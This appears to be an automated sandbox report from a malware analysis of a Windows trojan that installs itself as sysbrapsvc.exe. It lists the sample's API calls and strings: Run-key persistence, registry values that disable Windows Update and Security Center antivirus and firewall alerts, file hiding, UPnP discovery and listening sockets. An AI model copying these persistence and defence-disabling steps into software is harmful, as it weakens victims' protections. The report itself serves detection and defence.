Part of subcall function 0040E070: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
Part of subcall function 0040E070: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
Part of subcall function 0040E070: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
Part of subcall function 0040E070: InternetCloseHandle.WININET(00000000), ref: 0040E267

Part of subcall function 0040DF60: SysAllocString.OLEAUT32(00000000), ref: 0040DF8E
Part of subcall function 0040DF60: CoCreateInstance.OLE32(004128F0,00000000,00004401,004128E0,00000000), ref: 0040DFB6
Part of subcall function 0040DF60: SysFreeString.OLEAUT32(00000000), ref: 0040E051

SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

%S%S, xrefs: 0040DEF6

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: a146118a585c525953cbf50a01d03d7454997d8c312527b14433dc9a100378f5
Instruction ID: c1d615742e0f1fe272601d31d467041fc69409a08f8fe5a36c80dfd154d40f90
Opcode Fuzzy Hash: a146118a585c525953cbf50a01d03d7454997d8c312527b14433dc9a100378f5
Instruction Fuzzy Hash: 5F414BB5E0020A9FCB04DFE4C885AEFB7B9BF48304F148569E505B7390D738AA45CBA5

Function 0040DAF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407EC8), ref: 0040DAFA

Part of subcall function 0040DBC0: socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
Part of subcall function 0040DBC0: htons.WS2_32(0000076C), ref: 0040DC10
Part of subcall function 0040DBC0: inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
Part of subcall function 0040DBC0: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D
Part of subcall function 0040DBC0: bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
Part of subcall function 0040DBC0: lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
Part of subcall function 0040DBC0: sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
Part of subcall function 0040DBC0: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

TCP, xrefs: 0040DB6B
UDP, xrefs: 0040DB88

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction ID: 6b43ad666573891978052671c2ef92d80966ae61c726f1f98895f42c7cfd0708
Opcode Fuzzy Hash: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction Fuzzy Hash: 13117CB5D00208ABDB00EFE5DC46BAEB375EB44308F10856AE405772C6D7786A64CF9A

Function 00405E50 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,?,00000000,?), ref: 00405E5F
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405E9E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F13
LeaveCriticalSection.KERNEL32(0041A400), ref: 00405F30

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: ca7ff8a173ea6a847f8488c1e8f62911d32ba33057f6ba12d9e30303517d8d68
Instruction ID: 7768dcd7b9dbcee261a05c0b48706a70a5e16e7133226d349280dc208485dc19
Opcode Fuzzy Hash: ca7ff8a173ea6a847f8488c1e8f62911d32ba33057f6ba12d9e30303517d8d68
Instruction Fuzzy Hash: 73216B70D04208ABDB04DF94D889BDEB771EB44304F14C1BAE84567281C3BDAA95CF9A

Analysis Process: 3193211493.exePID: 3640, Parent PID: 5588COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1470
Total number of Limit Nodes:	1

Executed Functions

Function 00407500 Relevance: 261.5, APIs: 99, Strings: 50, Instructions: 721
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040750E
CreateMutexA.KERNELBASE(00000000,00000000,b7x663937xa), ref: 0040751D
GetLastError.KERNEL32 ref: 00407529
ExitProcess.KERNEL32 ref: 00407538
GetModuleFileNameW.KERNEL32(00000000,0041AA40,00000105), ref: 00407572
PathFindFileNameW.SHLWAPI(0041AA40), ref: 0040757D
wsprintfW.USER32 ref: 0040759A
DeleteFileW.KERNEL32(?), ref: 004075AA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 004075C1
wcscmp.NTDLL ref: 004075D3
ExitProcess.KERNEL32 ref: 004075F2

Strings

SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407B09
AntiVirusOverride, xrefs: 00407D81
NoAutoUpdate, xrefs: 00407A29
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 004079BA
AntiVirusDisableNotify, xrefs: 00407DA0
%s\%s, xrefs: 004076F5
%s\%s, xrefs: 004077E6
AntiSpywareOverride, xrefs: 00407D62
WindowsUpdate, xrefs: 0040798D
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407834
AntiSpywareOverride, xrefs: 00407C56
sysbrapsvc.exe, xrefs: 004075C7, 0040760F, 004076E9, 004077DA
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407910
FirewallDisableNotify, xrefs: 00407C37
%temp%, xrefs: 004077CF
DisableWindowsUpdateAccess, xrefs: 00407931
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407963
NoAutoUpdate, xrefs: 00407B2A
AntiVirusOverride, xrefs: 00407C75
%s\tbtcmds.dat, xrefs: 00407E4B
%s:Zone.Identifier, xrefs: 0040758E
Start, xrefs: 004078E3
FirewallOverride, xrefs: 00407D24
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407743
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 004078C2
Windows Settings, xrefs: 0040769C, 00407776, 00407867
FirewallOverride, xrefs: 00407C18
FirewallDisableNotify, xrefs: 00407D43
DisableWindowsUpdateAccess, xrefs: 004079DB
CheckedValue, xrefs: 00407BC6
%s\tbtnds.dat, xrefs: 00407E31
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407669
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407A08
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407B57
UpdatesDisableNotify, xrefs: 00407DDE
WindowsUpdate, xrefs: 00407A85
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407AB2
b7x663937xa, xrefs: 00407514
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, xrefs: 00407BA5
UpdatesOverride, xrefs: 00407DBF
Start, xrefs: 00407B78
AntiVirusDisableNotify, xrefs: 00407C94
%userprofile%, xrefs: 004075BC
SOFTWARE\Microsoft\Security Center, xrefs: 00407BF3
%s\%s, xrefs: 0040761B
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407A5B
UpdatesOverride, xrefs: 00407CB3
UpdatesDisableNotify, xrefs: 00407CD2
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00407CFF
%windir%, xrefs: 00407604

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$CheckedValue$DisableWindowsUpdateAccess$DisableWindowsUpdateAccess$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$NoAutoUpdate$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$WindowsUpdate$WindowsUpdate$b7x663937xa$sysbrapsvc.exe
API String ID: 4172876685-2348032744
Opcode ID: f398f880ed0de63a829b11bb245c4d6d77eb93bd2f799ad59e9962a66de3a59f
Instruction ID: 03a0cce086b07e6777eb00571f2894b6de511c4d2cf633d1374b0a1cea72e181
Opcode Fuzzy Hash: f398f880ed0de63a829b11bb245c4d6d77eb93bd2f799ad59e9962a66de3a59f
Instruction Fuzzy Hash: D64256B1B80318BBE7209BA0DC4AFD93779AB48B11F10C5A5F305BA1D0DAF5A584CB5D

Non-executed Functions

Function 00406650 Relevance: 77.3, APIs: 34, Strings: 10, Instructions: 300
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,00406CC0,?,?,?), ref: 00406658
wsprintfW.USER32 ref: 0040668F
wsprintfW.USER32 ref: 004066AF
wsprintfW.USER32 ref: 004066CF
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 00406708
PathFileExistsW.SHLWAPI(?), ref: 00406718
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406751
DeleteFileW.KERNEL32(?), ref: 0040675E
PathFileExistsW.SHLWAPI(?), ref: 0040676B
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406785
DeleteFileW.KERNEL32(?), ref: 00406792
PathFileExistsW.SHLWAPI(?), ref: 0040679F
CreateDirectoryW.KERNEL32(?,00000000), ref: 004067B2
SetFileAttributesW.KERNEL32(?,00000002), ref: 004067C5
PathFileExistsW.SHLWAPI(?), ref: 004067D2
CopyFileW.KERNEL32(0041A428,?,00000000), ref: 004067EA

Strings

%s\*, xrefs: 004066FC
%s\%s, xrefs: 004066E3
shell32.dll, xrefs: 00406836
shell32.dll, xrefs: 0040681E
%s.lnk, xrefs: 00406683
%s\%s\%s, xrefs: 00406ACB
%s\%s\VolMgrSvc.exe, xrefs: 004066C3
%s\%s, xrefs: 00406AA4
%s\%s, xrefs: 004066A3
%s\%s, xrefs: 00406A31

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$Delete$CopyCreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolMgrSvc.exe$%s\*$shell32.dll$shell32.dll
API String ID: 2120662298-3454820331
Opcode ID: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction ID: c612be32194b3f0687db5988b06318d9a83eb4d95ba537684b9fbd0309d38362
Opcode Fuzzy Hash: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction Fuzzy Hash: 33D164B5900258ABCB20DF50DC54FEA77B8BB48304F00C5EAF20AA6191D7B99BD4CF59

Function 00406510 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406AFE,00000000), ref: 0040651F
wsprintfW.USER32 ref: 00406535
FindFirstFileW.KERNEL32(?,?), ref: 0040654C
lstrcmpW.KERNEL32(?,00410FC4), ref: 00406571
lstrcmpW.KERNEL32(?,00410FC8), ref: 00406587
wsprintfW.USER32 ref: 004065AA
wsprintfW.USER32 ref: 004065CA
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406606
FindNextFileW.KERNEL32(000000FF,?), ref: 0040661A
FindClose.KERNEL32(000000FF), ref: 0040662F
RemoveDirectoryW.KERNEL32(?), ref: 00406639

Strings

%s\%s, xrefs: 0040659E
%s\%s, xrefs: 004065BE
%s\*, xrefs: 00406529

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction ID: 53594aa6cee022007eb09e89ff8d3070c1334f86b1d3d86e8b3ef453570f0988
Opcode Fuzzy Hash: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction Fuzzy Hash: B2315BB5500218AFCB10DB60DC85FDA7778AB48701F40C5A5F609A3185DBB5DAD9CF58

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D5E0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D5FE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D610: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634
Part of subcall function 0040D610: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D68F
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
Part of subcall function 0040D610: DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
Part of subcall function 0040D610: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: a09a2fb70ac58d7a455ce99dedba2fb0f2ccef32fdecf11c004df1e88a2033b1
Instruction ID: 3d527d3106709ffe12c11fbc149f9fb6bead9182873b01420bf0fd5d4f043c35
Opcode Fuzzy Hash: a09a2fb70ac58d7a455ce99dedba2fb0f2ccef32fdecf11c004df1e88a2033b1
Instruction Fuzzy Hash: C441B070640301BBD3209F649D0AF4B77E4AF44720F108A2DF6A9EA6D4E7F4E445C75A

Function 0040DBC0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
htons.WS2_32(0000076C), ref: 0040DC10
inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D

Part of subcall function 0040AF30: htons.WS2_32(00000050), ref: 0040AF5D
Part of subcall function 0040AF30: socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
Part of subcall function 0040AF30: connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
Part of subcall function 0040AF30: getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DD40: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Part of subcall function 0040DD40: Sleep.KERNEL32(000003E8), ref: 0040DD9E
Part of subcall function 0040DD40: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
Part of subcall function 0040DD40: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
Part of subcall function 0040DD40: StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

239.255.255.250, xrefs: 0040DC1A

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction ID: ef7ed27ddc10e69a95ecf683d08ad8987f4418d9446925fcf09c3d01f5f265dc
Opcode Fuzzy Hash: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction Fuzzy Hash: 7141F8B4E10208ABDB14DFE4E889BEEBBB5EF48304F108169F505B7390E7B55A44CB59

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction ID: ddf1df2f5e3c49f21769c3cd8a86baa6c810c68bf5de7ecead628d1f617bc177
Opcode Fuzzy Hash: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction Fuzzy Hash: 72319571A44301AFE320DF649C4AF9BB6E0AF48B14F40493DF695EB2E0D3B5D544879A

Function 0040D1A0 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D1B2
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D1D8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D20F
GetTickCount.KERNEL32 ref: 0040D224
Sleep.KERNEL32(00000001), ref: 0040D244
GetTickCount.KERNEL32 ref: 0040D24A

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction ID: d1d91ce4da814b9a63f0d024f91aac80a52589da6ae3f0e8ee31fa34877a49b5
Opcode Fuzzy Hash: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction Fuzzy Hash: 5A31CA74D00209EFCF04DFA4DA48AEE77B1FF44315F1086A9E825A7290D7749A94CB59

Function 0040AF30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040AF5D

Part of subcall function 0040AEF0: inet_addr.WS2_32(0040AF71), ref: 0040AEFA
Part of subcall function 0040AEF0: gethostbyname.WS2_32(?), ref: 0040AF0D

socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

Strings

www.update.microsoft.com, xrefs: 0040AF67

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction ID: 8d2b89a1e3841e6cd000a2b550c173cff20965c169263ef180e6ea1a6d777d84
Opcode Fuzzy Hash: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction Fuzzy Hash: D1213BB0E103099BCB04DFE8D946AEEBBB5AF08300F108169E504F7390E7745A44CBAA

Function 0040C330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(~@,00000000,00000000,00000001,F0000040,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C343
CryptGenRandom.ADVAPI32(~@,?,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C359
CryptReleaseContext.ADVAPI32(~@,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C365

Strings

~@, xrefs: 0040C33F, 0040C355, 0040C361, 0040C342, 0040C358, 0040C364

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: ~@
API String ID: 1815803762-592544116
Opcode ID: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction ID: 830194fa38359529e853ee3f0456384099f2f8dd9552bb81b1528bc6e0449336
Opcode Fuzzy Hash: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction Fuzzy Hash: B3E01275654208BBDB24CFE1EC49FDA776CAB48B00F108154FB09D7190DAB5EA409BA8

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DA0D,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
